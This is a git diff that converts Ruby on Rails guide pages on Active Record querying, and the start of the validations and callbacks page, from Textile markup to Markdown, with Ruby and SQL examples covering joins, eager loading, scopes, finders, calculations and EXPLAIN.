Post.joins(:category, :comments)
-</ruby>
+```
This produces:
-<sql>
+```sql
SELECT posts.* FROM posts
INNER JOIN categories ON posts.category_id = categories.id
INNER JOIN comments ON comments.post_id = posts.id
-</sql>
+```
Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times.
-h5. Joining Nested Associations (Single Level)
+#### Joining Nested Associations (Single Level)
-<ruby>
+```ruby
Post.joins(:comments => :guest)
-</ruby>
+```
This produces:
-<sql>
+```sql
SELECT posts.* FROM posts
INNER JOIN comments ON comments.post_id = posts.id
INNER JOIN guests ON guests.comment_id = comments.id
-</sql>
+```
Or, in English: "return all posts that have a comment made by a guest."
-h5. Joining Nested Associations (Multiple Level)
+#### Joining Nested Associations (Multiple Level)
-<ruby>
+```ruby
Category.joins(:posts => [{:comments => :guest}, :tags])
-</ruby>
+```
This produces:
-<sql>
+```sql
SELECT categories.* FROM categories
INNER JOIN posts ON posts.category_id = categories.id
INNER JOIN comments ON comments.post_id = posts.id
INNER JOIN guests ON guests.comment_id = comments.id
INNER JOIN tags ON tags.post_id = posts.id
-</sql>
+```
-h4. Specifying Conditions on the Joined Tables
+### Specifying Conditions on the Joined Tables
-You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables:
+You can specify conditions on the joined tables using the regular [Array](array-conditions) and [String](#pure-string-conditions) conditions. [Hash conditions](#hash-conditions) provides a special syntax for specifying conditions for the joined tables:
-<ruby>
+```ruby
time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Client.joins(:orders).where('orders.created_at' => time_range)
-</ruby>
+```
An alternative and cleaner syntax is to nest the hash conditions:
-<ruby>
+```ruby
time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Client.joins(:orders).where(:orders => {:created_at => time_range})
-</ruby>
+```
-This will find all clients who have orders that were created yesterday, again using a +BETWEEN+ SQL expression.
+This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression.
-h3. Eager Loading Associations
+Eager Loading Associations
+--------------------------
-Eager loading is the mechanism for loading the associated records of the objects returned by +Model.find+ using as few queries as possible.
+Eager loading is the mechanism for loading the associated records of the objects returned by `Model.find` using as few queries as possible.
-<strong>N <plus> 1 queries problem</strong>
+**N + 1 queries problem**
Consider the following code, which finds 10 clients and prints their postcodes:
-<ruby>
+```ruby
clients = Client.limit(10)
clients.each do |client|
puts client.address.postcode
end
-</ruby>
+```
-This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 ( to find 10 clients ) <plus> 10 ( one per each client to load the address ) = <strong>11</strong> queries in total.
+This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 clients) + 10 (one per each client to load the address) = **11** queries in total.
-<strong>Solution to N <plus> 1 queries problem</strong>
+**Solution to N + 1 queries problem**
-Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the +includes+ method of the +Model.find+ call. With +includes+, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.
+Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the `includes` method of the `Model.find` call. With `includes`, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.
-Revisiting the above case, we could rewrite +Client.limit(10)+ to use eager load addresses:
+Revisiting the above case, we could rewrite `Client.limit(10)` to use eager load addresses:
-<ruby>
+```ruby
clients = Client.includes(:address).limit(10)
clients.each do |client|
puts client.address.postcode
end
-</ruby>
+```
-The above code will execute just <strong>2</strong> queries, as opposed to <strong>11</strong> queries in the previous case:
+The above code will execute just **2** queries, as opposed to **11** queries in the previous case:
-<sql>
+```sql
SELECT * FROM clients LIMIT 10
SELECT addresses.* FROM addresses
WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
-</sql>
+```
-h4. Eager Loading Multiple Associations
+### Eager Loading Multiple Associations
-Active Record lets you eager load any number of associations with a single +Model.find+ call by using an array, hash, or a nested hash of array/hash with the +includes+ method.
+Active Record lets you eager load any number of associations with a single `Model.find` call by using an array, hash, or a nested hash of array/hash with the `includes` method.
-h5. Array of Multiple Associations
+#### Array of Multiple Associations
-<ruby>
+```ruby
Post.includes(:category, :comments)
-</ruby>
+```
This loads all the posts and the associated category and comments for each post.
-h5. Nested Associations Hash
+#### Nested Associations Hash
-<ruby>
+```ruby
Category.includes(:posts => [{:comments => :guest}, :tags]).find(1)
-</ruby>
+```
This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association.
-h4. Specifying Conditions on Eager Loaded Associations
+### Specifying Conditions on Eager Loaded Associations
-Even though Active Record lets you specify conditions on the eager loaded associations just like +joins+, the recommended way is to use "joins":#joining-tables instead.
+Even though Active Record lets you specify conditions on the eager loaded associations just like `joins`, the recommended way is to use [joins](#joining-tables) instead.
-However if you must do this, you may use +where+ as you would normally.
+However if you must do this, you may use `where` as you would normally.
-<ruby>
+```ruby
Post.includes(:comments).where("comments.visible" => true)
-</ruby>
+```
-This would generate a query which contains a +LEFT OUTER JOIN+ whereas the +joins+ method would generate one using the +INNER JOIN+ function instead.
+This would generate a query which contains a `LEFT OUTER JOIN` whereas the `joins` method would generate one using the `INNER JOIN` function instead.
-<ruby>
+```ruby
SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.visible = 1)
-</ruby>
+```
-If there was no +where+ condition, this would generate the normal set of two queries.
+If there was no `where` condition, this would generate the normal set of two queries.
-If, in the case of this +includes+ query, there were no comments for any posts, all the posts would still be loaded. By using +joins+ (an INNER JOIN), the join conditions *must* match, otherwise no records will be returned.
+If, in the case of this `includes` query, there were no comments for any posts, all the posts would still be loaded. By using `joins` (an INNER JOIN), the join conditions **must** match, otherwise no records will be returned.
-h3. Scopes
+Scopes
+------
-Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as +where+, +joins+ and +includes+. All scope methods will return an +ActiveRecord::Relation+ object which will allow for further methods (such as other scopes) to be called on it.
+Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as `where`, `joins` and `includes`. All scope methods will return an `ActiveRecord::Relation` object which will allow for further methods (such as other scopes) to be called on it.
-To define a simple scope, we use the +scope+ method inside the class, passing the query that we'd like run when this scope is called:
+To define a simple scope, we use the `scope` method inside the class, passing the query that we'd like run when this scope is called:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
scope :published, -> { where(published: true) }
end
-</ruby>
+```
This is exactly the same as defining a class method, and which you use is a matter of personal preference:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
def self.published
where(published: true)
end
end
-</ruby>
+```
Scopes are also chainable within scopes:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
scope :published, -> { where(:published => true) }
scope :published_and_commented, -> { published.where("comments_count > 0") }
end
-</ruby>
+```
-To call this +published+ scope we can call it on either the class:
+To call this `published` scope we can call it on either the class:
-<ruby>
+```ruby
Post.published # => [published posts]
-</ruby>
+```
-Or on an association consisting of +Post+ objects:
+Or on an association consisting of `Post` objects:
-<ruby>
+```ruby
category = Category.first
category.posts.published # => [published posts belonging to this category]
-</ruby>
+```
-h4. Passing in arguments
+### Passing in arguments
Your scope can take arguments:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
scope :created_before, ->(time) { where("created_at < ?", time) }
end
-</ruby>
+```
This may then be called using this:
-<ruby>
+```ruby
Post.created_before(Time.zone.now)
-</ruby>
+```
However, this is just duplicating the functionality that would be provided to you by a class method.
-<ruby>
+```ruby
class Post < ActiveRecord::Base
def self.created_before(time)
where("created_at < ?", time)
end
end
-</ruby>
+```
Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:
-<ruby>
+```ruby
category.posts.created_before(time)
-</ruby>
+```
-h4. Applying a default scope
+### Applying a default scope
-If we wish for a scope to be applied across all queries to the model we can use the +default_scope+ method within the model itself.
+If we wish for a scope to be applied across all queries to the model we can use the
+`default_scope` method within the model itself.
-<ruby>
+```ruby
class Client < ActiveRecord::Base
default_scope { where("removed_at IS NULL") }
end
-</ruby>
+```
-When queries are executed on this model, the SQL query will now look something like this:
+When queries are executed on this model, the SQL query will now look something like
+this:
-<sql>
+```sql
SELECT * FROM clients WHERE removed_at IS NULL
-</sql>
+```
-h4. Removing all scoping
+If you need to do more complex things with a default scope, you can alternatively
+define it as a class method:
-If we wish to remove scoping for any reason we can use the +unscoped+ method. This is especially useful if a +default_scope+ is specified in the model and should not be applied for this particular query.
+```ruby
+class Client < ActiveRecord::Base
+ def self.default_scope
+ # Should return an ActiveRecord::Relation.
+ end
+end
+```
+
+### Removing all scoping
+
+If we wish to remove scoping for any reason we can use the `unscoped` method. This is
+especially useful if a `default_scope` is specified in the model and should not be
+applied for this particular query.
-<ruby>
+```ruby
Client.unscoped.all
-</ruby>
+```
This method removes all scoping and will do a normal query on the table.
-h3. Dynamic Finders
+Note that chaining `unscoped` with a `scope` does not work. In these cases, it is
+recommended that you use the block form of `unscoped`:
+
+```ruby
+Client.unscoped {
+ Client.created_before(Time.zome.now)
+}
+```
+
+Dynamic Finders
+---------------
-For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +first_name+ on your +Client+ model for example, you get +find_by_first_name+ and +find_all_by_first_name+ for free from Active Record. If you have a +locked+ field on the +Client+ model, you also get +find_by_locked+ and +find_all_by_locked+ methods.
+For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` and `find_all_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and `find_all_by_locked` methods.
-You can also use +find_last_by_*+ methods which will find the last record matching your argument.
+You can also use `find_last_by_*` methods which will find the last record matching your argument.
-You can specify an exclamation point (<tt>!</tt>) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+
+You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")`
-If you want to find both by name and locked, you can chain these finders together by simply typing "+and+" between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+.
+If you want to find both by name and locked, you can chain these finders together by simply typing "`and`" between the fields. For example, `Client.find_by_first_name_and_locked("Ryan", true)`.
-WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+.
+WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say `Client.find_by_name_and_locked("Ryan")`, the behavior is to pass `nil` as the missing argument. This is **unintentional** and this behavior will be changed in Rails 3.2 to throw an `ArgumentError`.
-h3. Find or build a new object
+Find or build a new object
+--------------------------
-It's common that you need to find a record or create it if it doesn't exist. You can do that with the +first_or_create+ and +first_or_create!+ methods.
+It's common that you need to find a record or create it if it doesn't exist. You can do that with the `first_or_create` and `first_or_create!` methods.
-h4. +first_or_create+
+### `first_or_create`
-The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it does return +nil+, then +create+ is called. This is very powerful when coupled with the +where+ method. Let's see an example.
+The `first_or_create` method checks whether `first` returns `nil` or not. If it does return `nil`, then `create` is called. This is very powerful when coupled with the `where` method. Let's see an example.
-Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his +locked+ attribute to false. You can do so by running:
+Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his `locked` attribute to false. You can do so by running:
-<ruby>
+```ruby
Client.where(:first_name => 'Andy').first_or_create(:locked => false)
# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
-</ruby>
+```
The SQL generated by this method looks like this:
-<sql>
+```sql
SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
BEGIN
INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57')
COMMIT
-</sql>
+```
-+first_or_create+ returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.
+`first_or_create` returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.
-The new record might not be saved to the database; that depends on whether validations passed or not (just like +create+).
+The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`).
-It's also worth noting that +first_or_create+ takes into account the arguments of the +where+ method. In the example above we didn't explicitly pass a +:first_name => 'Andy'+ argument to +first_or_create+. However, that was used when creating the new record because it was already passed before to the +where+ method.
+It's also worth noting that `first_or_create` takes into account the arguments of the `where` method. In the example above we didn't explicitly pass a `:first_name => 'Andy'` argument to `first_or_create`. However, that was used when creating the new record because it was already passed before to the `where` method.
-You can do the same with the +find_or_create_by+ method:
+You can do the same with the `find_or_create_by` method:
-<ruby>
+```ruby
Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false)
-</ruby>
+```
-This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall.
+This method still works, but it's encouraged to use `first_or_create` because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall.
-h4. +first_or_create!+
+### `first_or_create!`
-You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
+You can also use `first_or_create!` to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
-<ruby>
+```ruby
validates :orders_count, :presence => true
-</ruby>
+```
-to your +Client+ model. If you try to create a new +Client+ without passing an +orders_count+, the record will be invalid and an exception will be raised:
+to your `Client` model. If you try to create a new `Client` without passing an `orders_count`, the record will be invalid and an exception will be raised:
-<ruby>
+```ruby
Client.where(:first_name => 'Andy').first_or_create!(:locked => false)
# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
-</ruby>
+```
-As with +first_or_create+ there is a +find_or_create_by!+ method but the +first_or_create!+ method is preferred for clarity.
+As with `first_or_create` there is a `find_or_create_by!` method but the `first_or_create!` method is preferred for clarity.
-h4. +first_or_initialize+
+### `first_or_initialize`
-The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick':
+The `first_or_initialize` method will work just like `first_or_create` but it will not call `create` but `new`. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the `first_or_create` example, we now want the client named 'Nick':
-<ruby>
+```ruby
nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false)
# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
@@ -1248,46 +1296,47 @@ nick.persisted?
nick.new_record?
# => true
-</ruby>
+```
Because the object is not yet stored in the database, the SQL generated looks like this:
-<sql>
+```sql
SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
-</sql>
+```
-When you want to save it to the database, just call +save+:
+When you want to save it to the database, just call `save`:
-<ruby>
+```ruby
nick.save
# => true
-</ruby>
+```
-h3. Finding by SQL
+Finding by SQL
+--------------
-If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:
+If you'd like to use your own SQL to find records in a table you can use `find_by_sql`. The `find_by_sql` method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:
-<ruby>
+```ruby
Client.find_by_sql("SELECT * FROM clients
INNER JOIN orders ON clients.id = orders.client_id
ORDER clients.created_at desc")
-</ruby>
+```
-+find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
+`find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
-h3. +select_all+
+### `select_all`
-<tt>find_by_sql</tt> has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
+`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
-<ruby>
+```ruby
Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
-</ruby>
+```
-h3. +pluck+
+### `pluck`
-<tt>pluck</tt> can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
+`pluck` can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
-<ruby>
+```ruby
Client.where(:active => true).pluck(:id)
# SELECT id FROM clients WHERE active = 1
# => [1, 2, 3]
@@ -1299,75 +1348,76 @@ Client.uniq.pluck(:role)
Client.pluck(:id, :name)
# SELECT clients.id, clients.name FROM clients
# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
-</ruby>
+```
-+pluck+ makes it possible to replace code like
+`pluck` makes it possible to replace code like
-<ruby>
+```ruby
Client.select(:id).map { |c| c.id }
# or
Client.select(:id).map { |c| [c.id, c.name] }
-</ruby>
+```
with
-<ruby>
+```ruby
Client.pluck(:id)
# or
Client.pluck(:id, :name)
-</ruby>
+```
-h3. +ids+
+### `ids`
-+ids+ can be used to pluck all the IDs for the relation using the table's primary key.
+`ids` can be used to pluck all the IDs for the relation using the table's primary key.
-<ruby>
+```ruby
Person.ids
# SELECT id FROM people
-</ruby>
+```
-<ruby>
+```ruby
class Person < ActiveRecord::Base
self.primary_key = "person_id"
end
Person.ids
# SELECT person_id FROM people
-</ruby>
+```
-h3. Existence of Objects
+Existence of Objects
+--------------------
-If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+.
+If you simply want to check for the existence of the object there's a method called `exists?`. This method will query the database using the same query as `find`, but instead of returning an object or collection of objects it will return either `true` or `false`.
-<ruby>
+```ruby
Client.exists?(1)
-</ruby>
+```
-The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
+The `exists?` method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
-<ruby>
+```ruby
Client.exists?(1,2,3)
# or
Client.exists?([1,2,3])
-</ruby>
+```
-It's even possible to use +exists?+ without any arguments on a model or a relation.
+It's even possible to use `exists?` without any arguments on a model or a relation.
-<ruby>
+```ruby
Client.where(:first_name => 'Ryan').exists?
-</ruby>
+```
-The above returns +true+ if there is at least one client with the +first_name+ 'Ryan' and +false+ otherwise.
+The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` otherwise.
-<ruby>
+```ruby
Client.exists?
-</ruby>
+```
-The above returns +false+ if the +clients+ table is empty and +true+ otherwise.
+The above returns `false` if the `clients` table is empty and `true` otherwise.
-You can also use +any?+ and +many?+ to check for existence on a model or relation.
+You can also use `any?` and `many?` to check for existence on a model or relation.
-<ruby>
+```ruby
# via a model
Post.any?
Post.many?
@@ -1383,115 +1433,117 @@ Post.where(:published => true).many?
# via an association
Post.first.categories.any?
Post.first.categories.many?
-</ruby>
+```
-h3. Calculations
+Calculations
+------------
This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
All calculation methods work directly on a model:
-<ruby>
+```ruby
Client.count
# SELECT count(*) AS count_all FROM clients
-</ruby>
+```
Or on a relation:
-<ruby>
+```ruby
Client.where(:first_name => 'Ryan').count
# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
-</ruby>
+```
You can also use various finder methods on a relation for performing complex calculations:
-<ruby>
+```ruby
Client.includes("orders").where(:first_name => 'Ryan', :orders => {:status => 'received'}).count
-</ruby>
+```
Which will execute:
-<sql>
+```sql
SELECT count(DISTINCT clients.id) AS count_all FROM clients
LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
(clients.first_name = 'Ryan' AND orders.status = 'received')
-</sql>
+```
-h4. Count
+### Count
-If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+.
+If you want to see how many records are in your model's table you could call `Client.count` and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use `Client.count(:age)`.
-For options, please see the parent section, "Calculations":#calculations.
+For options, please see the parent section, [Calculations](#calculations).
-h4. Average
+### Average
-If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this:
+If you want to see the average of a certain number in one of your tables you can call the `average` method on the class that relates to the table. This method call will look something like this:
-<ruby>
+```ruby
Client.average("orders_count")
-</ruby>
+```
This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
-For options, please see the parent section, "Calculations":#calculations.
+For options, please see the parent section, [Calculations](#calculations).
-h4. Minimum
+### Minimum
-If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this:
+If you want to find the minimum value of a field in your table you can call the `minimum` method on the class that relates to the table. This method call will look something like this:
-<ruby>
+```ruby
Client.minimum("age")
-</ruby>
+```
-For options, please see the parent section, "Calculations":#calculations.
+For options, please see the parent section, [Calculations](#calculations).
-h4. Maximum
+### Maximum
-If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this:
+If you want to find the maximum value of a field in your table you can call the `maximum` method on the class that relates to the table. This method call will look something like this:
-<ruby>
+```ruby
Client.maximum("age")
-</ruby>
+```
-For options, please see the parent section, "Calculations":#calculations.
+For options, please see the parent section, [Calculations](#calculations).
-h4. Sum
+### Sum
-If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this:
+If you want to find the sum of a field for all records in your table you can call the `sum` method on the class that relates to the table. This method call will look something like this:
-<ruby>
+```ruby
Client.sum("orders_count")
-</ruby>
+```
-For options, please see the parent section, "Calculations":#calculations.
+For options, please see the parent section, [Calculations](#calculations).
-h3. Running EXPLAIN
+Running EXPLAIN
+---------------
You can run EXPLAIN on the queries triggered by relations. For example,
-<ruby>
+```ruby
User.where(:id => 1).joins(:posts).explain
-</ruby>
+```
may yield
-<plain>
+```
EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
-<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
-<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
-<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
2 rows in set (0.00 sec)
-</plain>
+```
under MySQL.
Active Record performs a pretty printing that emulates the one of the database
shells. So, the same query running with the PostgreSQL adapter would yield instead
-<plain>
+```
EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1
QUERY PLAN
------------------------------------------------------------------------------
@@ -1502,46 +1554,46 @@ EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_i
-> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4)
Filter: (posts.user_id = 1)
(6 rows)
-</plain>
+```
Eager loading may trigger more than one query under the hood, and some queries
-may need the results of previous ones. Because of that, +explain+ actually
+may need the results of previous ones. Because of that, `explain` actually
executes the query, and then asks for the query plans. For example,
-<ruby>
+```ruby
User.where(:id => 1).includes(:posts).explain
-</ruby>
+```
yields
-<plain>
+```
EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1
-<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
-<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
-<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
1 row in set (0.00 sec)
EXPLAIN for: SELECT `posts`.* FROM `posts` WHERE `posts`.`user_id` IN (1)
-<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
-<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
-<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)
-</plain>
+```
under MySQL.
-h4. Automatic EXPLAIN
+### Automatic EXPLAIN
Active Record is able to run EXPLAIN automatically on slow queries and log its
output. This feature is controlled by the configuration parameter
-<ruby>
+```ruby
config.active_record.auto_explain_threshold_in_seconds
-</ruby>
+```
If set to a number, any query exceeding those many seconds will have its EXPLAIN
automatically triggered and logged. In the case of relations, the threshold is
@@ -1549,37 +1601,37 @@ compared to the total time needed to fetch records. So, a relation is seen as a
unit of work, no matter whether the implementation of eager loading involves
several queries under the hood.
-A threshold of +nil+ disables automatic EXPLAINs.
+A threshold of `nil` disables automatic EXPLAINs.
-The default threshold in development mode is 0.5 seconds, and +nil+ in test and
+The default threshold in development mode is 0.5 seconds, and `nil` in test and
production modes.
INFO. Automatic EXPLAIN gets disabled if Active Record has no logger, regardless
of the value of the threshold.
-h5. Disabling Automatic EXPLAIN
+#### Disabling Automatic EXPLAIN
-Automatic EXPLAIN can be selectively silenced with +ActiveRecord::Base.silence_auto_explain+:
+Automatic EXPLAIN can be selectively silenced with `ActiveRecord::Base.silence_auto_explain`:
-<ruby>
+```ruby
ActiveRecord::Base.silence_auto_explain do
# no automatic EXPLAIN is triggered here
end
-</ruby>
+```
That may be useful for queries you know are slow but fine, like a heavyweight
report of an admin interface.
-As its name suggests, +silence_auto_explain+ only silences automatic EXPLAINs.
-Explicit calls to +ActiveRecord::Relation#explain+ run.
+As its name suggests, `silence_auto_explain` only silences automatic EXPLAINs.
+Explicit calls to `ActiveRecord::Relation#explain` run.
-h4. Interpreting EXPLAIN
+### Interpreting EXPLAIN
Interpretation of the output of EXPLAIN is beyond the scope of this guide. The
following pointers may be helpful:
-* SQLite3: "EXPLAIN QUERY PLAN":http://www.sqlite.org/eqp.html
+* SQLite3: [EXPLAIN QUERY PLAN](http://www.sqlite.org/eqp.html)
-* MySQL: "EXPLAIN Output Format":http://dev.mysql.com/doc/refman/5.6/en/explain-output.html
+* MySQL: [EXPLAIN Output Format](http://dev.mysql.com/doc/refman/5.6/en/explain-output.html)
-* PostgreSQL: "Using EXPLAIN":http://www.postgresql.org/docs/current/static/using-explain.html
+* PostgreSQL: [Using EXPLAIN](http://www.postgresql.org/docs/current/static/using-explain.html)
diff --git a/guides/source/active_record_validations_callbacks.textile b/guides/source/active_record_validations_callbacks.md
index b866337e3f..f32c1050ce 100644
--- a/guides/source/active_record_validations_callbacks.textile
+++ b/guides/source/active_record_validations_callbacks.md
@@ -1,4 +1,5 @@
-h2. Active Record Validations and Callbacks
+Active Record Validations and Callbacks
+=======================================
This guide teaches you how to hook into the life cycle of your Active Record objects. You will learn how to validate the state of objects before they go into the database, and how to perform custom operations at certain points in the object life cycle.
@@ -12,19 +13,21 @@ After reading this guide and trying out the presented concepts, we hope that you
* Create special classes that encapsulate common behavior for your callbacks
* Create Observers that respond to life cycle events outside of the original class
-endprologue.
+--------------------------------------------------------------------------------
-h3. The Object Life Cycle
+The Object Life Cycle
+---------------------
During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object life cycle</em> so that you can control your application and its data.
Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object's state.
-h3. Validations Overview
+Validations Overview
+--------------------
Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture.
-h4. Why Use Validations?
+### Why Use Validations?
Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address.
@@ -32,281 +35,282 @@ There are several ways to validate data before it is saved into your database, i
* Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.
